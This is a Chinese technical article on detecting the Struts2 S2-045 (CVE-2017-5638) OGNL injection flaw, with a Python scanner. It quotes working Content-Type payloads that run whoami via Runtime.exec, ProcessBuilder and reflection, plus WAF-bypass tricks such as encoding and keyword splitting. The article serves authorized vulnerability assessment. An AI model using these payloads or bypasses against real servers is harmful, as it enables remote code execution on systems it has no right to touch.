S2-045漏洞检测工具:原理、设计与Python实现
1. 从一次应急响应说起为什么我们需要一个独立的S2-045检测工具去年处理一个客户的应急响应对方说他们的Web应用服务器CPU莫名飙高怀疑被植入了挖矿脚本。登录服务器一看是个老旧的Java Web应用跑在Tomcat上。用ps aux和netstat扫了一圈没发现明显异常进程。但访问日志里有几个奇怪的POST请求Content-Type头长得离谱里面还夹着一些像是OGNL表达式的片段。我心里咯噔一下这特征太像Struts2的远程代码执行漏洞了尤其是那个臭名昭著的S2-045CVE-2017-5638。当时手头没有趁手的工具临时写个Python脚本去发畸形请求测试又怕把本就脆弱的服务打挂。用公开的扫描器吧要么误报率高得吓人要么因为目标环境网络策略限制根本连不上。最后折腾了半天才确认中招。这件事让我意识到一个轻量、精准、可离线、能灵活集成到不同工作流中的S2-045专项检测工具对于安全工程师、开发者和运维人员来说不是“锦上添花”而是“雪中送炭”。S2-045漏洞之所以危险在于它利用的是Struts2框架处理文件上传请求时对Content-Type头的解析逻辑缺陷。攻击者无需上传任何文件只需构造一个包含恶意OGNLObject-Graph Navigation Language表达式的畸形Content-Type头就能在服务器端远程执行任意代码。这意味着任何开启了文件上传功能或者相关拦截器的、使用了受影响版本Struts2的Web应用都可能成为攻击者的跳板。漏洞影响面极广从2017年爆发至今依然能在一些疏于更新的内网系统或遗留项目中找到它的身影。因此我们今天要讨论的就是如何构建一个针对CVE-2017-5638的远程代码执行漏洞检测工具。这个工具的核心目标不是大而全的漏洞扫描而是精准、快速、低干扰地判断一个目标URL是否存在S2-045漏洞。我们将从漏洞原理拆解开始一步步设计检测逻辑处理各种边界情况并最终给出一个可运行、可扩展的Python实现。2. 漏洞原理深度拆解畸形Content-Type头如何打开命令执行的大门要写出有效的检测工具必须吃透漏洞原理。S2-045的本质是Struts2框架的Jakarta Multipart解析器存在缺陷。当框架处理文件上传请求时会调用jakarta.servlet.jsp.JspFactory的getDefaultFactory()方法。而在解析用户传入的Content-Type头时如果该头信息包含异常数据会触发错误处理流程将错误信息通过OGNL表达式进行解析评估。这里的关键在于错误信息中包含了用户可控的输入即我们构造的畸形Content-Type头。Struts2错误处理机制的本意可能是为了提供更友好的调试信息但却错误地将用户输入直接送入了OGNL表达式执行引擎。OGNL是Struts2中用于访问和操作值栈ValueStack数据的强大表达式语言功能非常丰富包括调用Java静态方法、创建对象、执行系统命令等。漏洞触发的具体代码路径在org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类的parse方法中。当解析Content-Type失败时会抛出异常异常信息中包含了原始的Content-Type字符串。随后在构建错误信息时Struts2会执行如下的代码逻辑简化示意LocalizedTextUtil.findText(..., “upload.error”, …)在这个过程中会对错误信息字符串进行OGNL表达式解析。如果我们传入的Content-Type值形如multipart/form-data; boundary----WebKitFormBoundaryXXXXX, ${(#_memberAccess[allowStaticMethodAccess]true).(#cmdwhoami).(#resjava.lang.RuntimegetRuntime().exec(#cmd)).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#res.getInputStream(),#ros)).(#ros.flush())}那么${...}内的OGNL表达式就会被执行。这段表达式做了几件事#_memberAccess[allowStaticMethodAccess]true 尝试绕过Struts2的安全沙箱限制允许调用静态方法不同Struts2版本和配置下绕过方式可能不同这是经典Payload之一。#cmdwhoami 定义要执行的系统命令。#resjava.lang.RuntimegetRuntime().exec(#cmd) 通过Java的Runtime类执行系统命令。后续代码将命令执行的结果通过HTTP响应流输出给攻击者。理解了这个流程我们就能设计检测逻辑了。检测的核心不是去执行危险的系统命令如whoami、id而是发送一个能触发OGNL解析、但执行结果无害且可观测的“探针”Payload。通过观察服务器的响应来判断漏洞是否存在。3. 检测工具的核心设计探针、指纹与误报规避一个稳健的检测工具其设计必须围绕“精准”和“安全”两个核心。我们不能用具有破坏性的Payload同时要确保检测结果可靠避免误报和漏报。3.1 探针Payload的设计哲学我们的探针需要满足以下几个条件绝对无害不能执行任何系统命令、文件操作或网络连接。结果可观测执行结果必须能清晰地反映在HTTP响应中且易于识别。兼容性强能适应不同版本Struts2可能存在的沙箱限制和类加载差异。触发稳定能稳定地走通漏洞触发路径避免因环境差异导致检测失败。基于这些原则一个经典的检测Payload是利用OGNL表达式进行数学运算或字符串操作并将结果通过错误信息或响应内容返回。例如%{(#_memberAccess[allowStaticMethodAccess]true).(#context[xwork.MethodAccessor.denyMethodExecution]false).(java.lang.StringvalueOf(12345*67890))}这个Payload尝试进行乘法运算12345*67890并将结果转换为字符串。如果漏洞存在且Payload被执行运算结果838102050可能会出现在返回的异常信息、HTTP响应体甚至响应头中。但更优雅和可靠的做法是利用OGNL访问当前Web应用的上下文信息生成一个独特的“指纹”。例如计算一个特定字符串的哈希值或者获取当前会话的ID。这样即使目标网站返回了其他数字我们也能通过寻找这个预先计算好的“指纹”来精准判断。我常用的一个Payload是%{(#_memberAccess[allowStaticMethodAccess]true).(#context[xwork.MethodAccessor.denyMethodExecution]false).(org.apache.struts2.ServletActionContextgetResponse().setHeader(X-Struts2-Test, java.lang.IntegertoString(123456789)))}这个Payload的意图是如果OGNL表达式被执行它会在HTTP响应头中添加一个自定义头部X-Struts2-Test其值为字符串123456789。我们在检测时只需要检查响应头中是否出现了这个特定的键值对即可。这种方式干扰小特征明显非常适合自动化检测。3.2 目标指纹识别与前置过滤在发送检测Payload之前进行一些前置判断可以大幅提升工具效率并避免对无关系统造成干扰。Struts2框架指纹识别 可以检查HTTP响应中是否包含Struts2的典型特征例如特定的Cookie如JSESSIONID后缀为.struts2。特定的错误页面内容包含Struts Problem Report等字样。特定的静态资源路径如/struts/下的文件。通过发送一个非法请求观察是否返回Struts2默认的错误页面。 这些指纹可以帮助我们快速判断目标是否使用了Struts2但要注意这些特征可能被修改或隐藏因此只能作为参考不能作为漏洞不存在的唯一依据。受影响版本范围判断 S2-045影响Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10。理论上我们可以尝试从一些静态文件或错误信息中提取版本号。但在实际检测中更务实的做法是只要识别出是Struts2就进行漏洞检测因为版本信息往往难以准确获取。3.3 误报与漏报的处理策略这是检测工具最棘手的部分。误报False Positive 服务器返回了包含我们“指纹”的内容但并非因为执行了OGNL。常见情况服务器将我们的畸形Content-Type头原样返回到了错误信息或日志中。WAFWeb应用防火墙或IDS入侵检测系统拦截请求后返回的阻断页面包含了我们的Payload字符串。应对策略 设计更复杂的“指纹”。不要使用简单的数字或常见字符串。可以使用一个随机生成的、足够长的唯一字符串如UUID并在Payload中对其进行一次不可逆的变换如计算MD5的前8位然后将这个变换结果作为检测标志。这样Payload字符串本身和最终检测标志完全不同极大降低了因原样返回导致的误报。# 假设随机字符串是 “7a3b9c1e” # Payload: 计算该字符串的哈希并取子串 %{(...).(org.apache.struts2.ServletActionContextgetResponse().setHeader(X-Test, org.apache.commons.codec.digest.DigestUtilsmd5Hex(7a3b9c1e).substring(0,8)))} # 检测时我们检查响应头中 X-Test 的值是否为 ‘7a3b9c1e’的MD5前8位例如 ‘e1c9b3a7’。漏报False Negative 漏洞存在但检测失败。常见原因Payload被拦截 WAF或安全策略过滤了畸形Content-Type或OGNL关键字。沙箱绕过失败 目标Struts2版本的安全配置较强我们的Payload未能成功绕过allowStaticMethodAccess等限制。网络或应用层异常 请求超时、连接重置、应用返回500错误但未执行Payload。应对策略Payload变形 对OGNL表达式进行编码如URL编码、十六进制编码、拆分、插入无关字符尝试绕过简单的关键词过滤。多Payload轮询 准备2-3个针对不同版本或绕过方式的Payload依次尝试。例如一个用于较新版本一个用于较旧版本。间接检测 如果直接回显失败可以尝试使用“延时检测”Time-Based Blind。Payload改为执行一个sleep命令如Thread.sleep(5000)通过判断响应时间是否显著增加来判断命令是否执行。注意 延时检测要谨慎使用设置的时间要短如2-3秒避免对目标服务造成拒绝服务影响。错误信息分析 即使命令未执行服务器返回的详细错误信息如堆栈跟踪中也可能包含org.apache.struts2、ognl等关键字这可以作为漏洞存在的强暗示需要工具能捕获并解析这些信息。4. 工具实现详解从单点检测到批量扫描下面我们用一个Python实现的例子来串联上述所有设计思想。这个工具将包含核心检测引擎、结果处理以及简单的并发批量扫描功能。4.1 环境准备与核心库我们主要使用requests库来发送HTTP请求。为了处理复杂的并发和超时可能还会用到concurrent.futures。确保你的环境已安装pip install requests首先我们定义核心的检测函数。这个函数需要处理网络超时、连接错误、SSL证书验证等问题。4.2 核心检测函数check_s2_045import requests import hashlib import random import string from urllib.parse import urlparse import time def generate_fingerprint(): 生成一个随机的检测指纹和对应的预期结果。 rand_str .join(random.choices(string.ascii_letters string.digits, k10)) # 预期结果对随机字符串取MD5的前8位字符 expected_marker hashlib.md5(rand_str.encode()).hexdigest()[:8] return rand_str, expected_marker def construct_payload(fingerprint): 构造检测Payload。这里使用设置响应头的方式。 # 注意这里的Payload是一个示例实际使用时可能需要根据目标环境调整绕过方式。 # 这个Payload尝试设置响应头 X-Struts2-Check 的值为指纹字符串的MD5前8位。 payload ( f%{{(#_memberAccess[allowStaticMethodAccess]true). f(#context[xwork.MethodAccessor.denyMethodExecution]false). f(org.apache.struts2.ServletActionContextgetResponse().setHeader( fX-Struts2-Check, forg.apache.commons.codec.digest.DigestUtilsmd5Hex({fingerprint}).substring(0,8) f))}} ) return payload def check_s2_045(url, timeout10): 检测单个URL是否存在S2-045漏洞。 Args: url (str): 待检测的目标URL。 timeout (int): 请求超时时间。 Returns: dict: 包含检测结果、详细信息、使用的Payload等。 result { url: url, vulnerable: False, reason: , payload_used: , response_headers: {}, response_status: None, error: None } # 1. 生成本次检测的唯一指纹 fingerprint, expected_marker generate_fingerprint() # 2. 构造恶意Content-Type头 malicious_content_type fmultipart/form-data; boundary----WebKitFormBoundaryXYZ, {construct_payload(fingerprint)} # 3. 准备请求头 headers { User-Agent: Mozilla/5.0 (S2-045 Scanner), Content-Type: malicious_content_type, # 添加一个正常的Content-Length避免请求被过早拒绝 Content-Length: 0, } # 4. 发送请求 try: # 使用POST方法因为文件上传通常是POST。发送一个空的请求体。 response requests.post(url, headersheaders, timeouttimeout, verifyFalse, data) result[response_status] response.status_code result[response_headers] dict(response.headers) # 5. 分析响应 # 关键检查响应头中是否出现了我们预设的标记 if X-Struts2-Check in response.headers: actual_marker response.headers[X-Struts2-Check] if actual_marker expected_marker: result[vulnerable] True result[reason] f响应头中包含匹配的指纹标记: X-Struts2-Check {actual_marker} else: result[reason] f响应头中包含X-Struts2-Check但值不匹配。预期: {expected_marker}, 实际: {actual_marker}。可能是误报或WAF干扰。 else: # 如果没有在头部找到检查响应体中是否包含明显的Struts2错误信息或我们的指纹片段 response_text response.text if Struts Problem Report in response_text or ognl. in response_text.lower(): result[reason] 响应体中包含Struts2或OGNL相关错误信息漏洞可能存在但Payload未成功回显。需要手动验证。 # 这里可以设置一个可疑状态供人工复核 else: result[reason] 未在响应头或响应体中发现漏洞存在的明确证据。 except requests.exceptions.SSLError as e: result[error] fSSL证书错误: {e} except requests.exceptions.Timeout as e: result[error] f请求超时: {e} except requests.exceptions.ConnectionError as e: result[error] f连接错误: {e} except requests.exceptions.RequestException as e: result[error] f请求异常: {e} except Exception as e: result[error] f未知错误: {e} result[payload_used] malicious_content_type[:100] ... if len(malicious_content_type) 100 else malicious_content_type return result代码要点解析generate_fingerprint函数 每次检测生成一个随机的10位字符串作为“盐”并计算其MD5的前8位作为预期标记。这有效避免了因Payload被原样返回而导致的误报。construct_payload函数 构造OGNL表达式Payload。它尝试设置响应头X-Struts2-Check的值为指纹字符串MD5的前8位。这里使用了commons-codec的DigestUtils.md5Hex方法这是Struts2环境中常见的库。check_s2_045函数 核心检测逻辑。设置超时和verifyFalse是为了应对网络不稳定或自签名证书的环境但在严格环境下应谨慎使用verifyFalse。发送一个Content-Length: 0的空POST请求体模拟一个“不完整”的文件上传请求这更容易触发文件上传解析器的错误处理流程。检测逻辑首先检查响应头中的X-Struts2-Check是否与预期标记完全一致。这是最可靠的漏洞存在标志。如果头部没有则检查响应体。如果发现Struts Problem Report或ognl等关键字则标记为“可疑”需要进一步人工分析。这有助于发现那些执行了命令但未按我们预期设置响应头的情况例如命令执行出错或环境差异导致Payload行为变化。4.3 增强策略多Payload与延时检测单一的Payload可能在某些环境下失效。一个健壮的工具应该支持多种检测策略。def construct_payload_v2(fingerprint): 另一种Payload构造方式尝试将标记写入响应体。 payload ( f%{{(#_memberAccess[allowStaticMethodAccess]true). f(#ajava.lang.CharactertoString({ord(X)})). f(#bjava.lang.CharactertoString({ord(T)})). f(#c#a#b). f(org.apache.struts2.ServletActionContextgetResponse().getWriter().print(#c{fingerprint}))}} ) return payload def construct_payload_timebased(delay_seconds3): 构造一个延时检测Payload谨慎使用。 # 将延时秒数转换为毫秒 delay_ms delay_seconds * 1000 payload ( f%{{(#_memberAccess[allowStaticMethodAccess]true). f(#context[xwork.MethodAccessor.denyMethodExecution]false). f(java.lang.Threadsleep({delay_ms}))}} ) return payload def enhanced_check(url, timeout15): 增强版检测尝试多种Payload。 results [] # 策略1 标准响应头检测 standard_result check_s2_045(url, timeouttimeout) results.append((标准头检测, standard_result)) if standard_result.get(vulnerable): return results # 如果标准检测已确认提前返回 # 策略2 响应体检测Payload fingerprint, expected_marker generate_fingerprint() payload_v2 construct_payload_v2(fingerprint) headers_v2 { Content-Type: fmultipart/form-data; boundary----WebKitFormBoundaryABC, {payload_v2}, Content-Length: 0, } try: start_time time.time() resp requests.post(url, headersheaders_v2, timeouttimeout, verifyFalse, data) elapsed time.time() - start_time if fingerprint in resp.text: results.append((响应体检测, {vulnerable: True, reason: f指纹字符串在响应体中找到: {fingerprint}})) elif elapsed timeout * 0.8: # 如果响应时间异常长也可能是Payload执行了复杂操作 results.append((响应体检测, {vulnerable: 可疑, reason: f响应时间异常: {elapsed:.2f}s})) except Exception as e: results.append((响应体检测, {error: str(e)})) # 策略3 延时检测仅在前面都失败且明确授权后使用 # 注意延时检测具有侵入性可能对目标服务造成影响应作为最后手段且延时时间应尽可能短。 # 这里仅展示逻辑实际工具中应提供开关或确认选项。 # payload_tb construct_payload_timebased(delay_seconds2) # headers_tb {...} # 发送请求并记录时间如果响应时间显著大于基线时间延时则判断为可能漏洞。 return results4.4 批量扫描与报告生成在实际工作中我们往往需要检测一个URL列表。我们可以使用线程池来并发执行提高效率。import concurrent.futures import csv import json from datetime import datetime def batch_scan(url_list, max_workers10, output_formatjson): 批量扫描URL列表。 Args: url_list (list): 待扫描的URL列表。 max_workers (int): 最大并发线程数。 output_format (str): 输出格式支持 json 或 csv。 all_results [] with concurrent.futures.ThreadPoolExecutor(max_workersmax_workers) as executor: future_to_url {executor.submit(enhanced_check, url): url for url in url_list} for future in concurrent.futures.as_completed(future_to_url): url future_to_url[future] try: results future.result() # 简化处理取最严重的结果 final_status 未知 for strategy, res in results: if res.get(vulnerable) is True: final_status 确认存在 break elif res.get(vulnerable) 可疑: final_status 可疑 all_results.append({ url: url, status: final_status, details: results }) print(f[{datetime.now().strftime(%H:%M:%S)}] {url} - {final_status}) except Exception as e: all_results.append({ url: url, status: 检测失败, error: str(e) }) print(f[{datetime.now().strftime(%H:%M:%S)}] {url} - 检测失败: {e}) # 输出报告 timestamp datetime.now().strftime(%Y%m%d_%H%M%S) if output_format.lower() json: filename fs2_045_scan_result_{timestamp}.json with open(filename, w, encodingutf-8) as f: json.dump(all_results, f, indent2, ensure_asciiFalse) print(f结果已保存至: {filename}) elif output_format.lower() csv: filename fs2_045_scan_result_{timestamp}.csv with open(filename, w, newline, encodingutf-8) as f: writer csv.writer(f) writer.writerow([URL, 状态, 详情]) for res in all_results: writer.writerow([res[url], res[status], str(res.get(details, ) or res.get(error, ))]) print(f结果已保存至: {filename})5. 实战中的坑与应对技巧工具写好了但在真实网络环境里跑起来会遇到各种各样的问题。下面分享几个我踩过的坑和对应的解决办法。5.1 WAF与防护设备的绕过这是最大的挑战。现代WAF对Content-Type头中的OGNL特征词如#_memberAccess,allowStaticMethodAccess,Runtime,exec等有非常严格的过滤。技巧1 大小写变换与字符插入。OGNL在某些上下文中对大小写不敏感可以尝试#_memberaccess#coNtext。或者在关键字中插入注释/**/或换行符\n需URL编码为%0a例如allowStaticMethodAccess变成allowStaticMethod/**/Access。但要注意插入的位置不能破坏OGNL语法。技巧2 编码与混淆。对整个Payload或关键部分进行URL编码、十六进制编码、Unicode编码。例如Runtime可以编码为%52%75%6e%74%69%6d%65。有些WAF可能只做一层解码。技巧3 使用反射或更冷门的类。如果Runtime.getRuntime().exec被禁可以尝试使用ProcessBuilder%{(#pbnew java.lang.ProcessBuilder(whoami)).(#pb.start())}或者利用反射来调用方法%{(#cl#context[com.opensymphony.xwork2.ActionContext.container].getInstance(com.opensymphony.xwork2.ObjectFactoryclass)).(#cl.getClass().forName(java.lang.Runtime).getMethod(getRuntime,null).invoke(null,null).exec(whoami))}这类Payload更长但可能绕过基于简单正则的WAF规则。技巧4 分散Payload。将Payload拆分到多个HTTP头中或者利用其他可能被解析的参数。但S2-045的触发点比较固定此方法效果有限。注意 绕过WAF的行为可能违反目标系统的安全策略或法律法规。所有检测行为必须在获得明确授权的范围内进行。5.2 网络不稳定与超时处理内网或跨境扫描时网络延迟高、丢包严重。技巧 在requests中合理设置timeout参数包括连接超时和读取超时。对于批量扫描使用Session对象复用连接可以提升效率。一定要做好异常捕获将超时、拒绝连接等网络问题与漏洞不存在清晰地区分开来并在结果报告中明确标注。5.3 目标应用状态干扰目标应用可能处于开发、维护或崩溃状态。技巧 在发送漏洞检测Payload前先发送一个正常的GET或POST请求检查应用是否存活并返回200状态码。如果应用返回的是404、503等错误后续的漏洞检测就没有意义。可以将这个健康检查作为前置步骤。5.4 结果误判的二次验证自动化工具给出的“可疑”或“可能存在”结果需要人工二次验证。技巧 工具可以集成一个“验证模式”。当检测到可疑目标时自动使用一个更温和、信息更明确的Payload进行二次请求。例如尝试让服务器计算一个简单表达式并将结果返回如${11}看响应中是否包含2。或者尝试读取一个Web应用内已知存在的无害文件如/WEB-INF/web.xml的一部分内容但这需要更深入的了解且风险较高。最安全的二次验证往往是换用另一个原理相同但实现细节不同的检测脚本或知名工具如sqlmap的--tamper脚本思路进行交叉验证。6. 工具的扩展与集成方向一个基础的检测工具可以满足单点需求但要融入日常安全流程还需要考虑扩展性。插件化Payload库 将Payload的构造逻辑抽象出来做成一个独立的配置文件或Python模块。这样当有新的绕过技术出现时只需要新增一个Payload字典而不需要修改核心检测引擎。字典中可以包含Payload字符串、预期检测方式如检查响应头、响应体、延时、适用的Struts2版本范围等信息。与扫描器框架集成 可以将这个检测模块封装成一个插件集成到像AWVS、Nessus、Xray、Goby或开源的nuclei等扫描框架中。nuclei的模板YAML格式就非常适合定义这类漏洞的检测逻辑包括请求、Payload、匹配规则等。CI/CD流水线集成 在DevSecOps流程中可以将此工具作为构建流水线的一个安全测试环节。针对每次构建产生的测试环境或预发布环境URL进行扫描。这需要工具能提供清晰的通过/失败状态码和结构化报告如JUnit XML格式方便流水线决策是阻断构建还是仅发出警告。资产管理与漏洞生命周期管理 将扫描结果不是简单输出到文件而是推送至像Jira、DefectDojo、OpenVAS或自建的CMDB配置管理数据库中与具体的服务器、应用资产关联并跟踪漏洞的修复状态如已发现 - 已通知 - 已修复 - 已复测关闭。最后我必须强调法律与授权的极端重要性。未经授权对任何系统进行漏洞扫描和测试不仅是非法的也是不道德的。这个工具的设计初衷是用于授权的安全评估、渗透测试、红队演练以及企业自身资产的安全自查。在每次使用前请务必确保你拥有对目标系统的明确测试授权。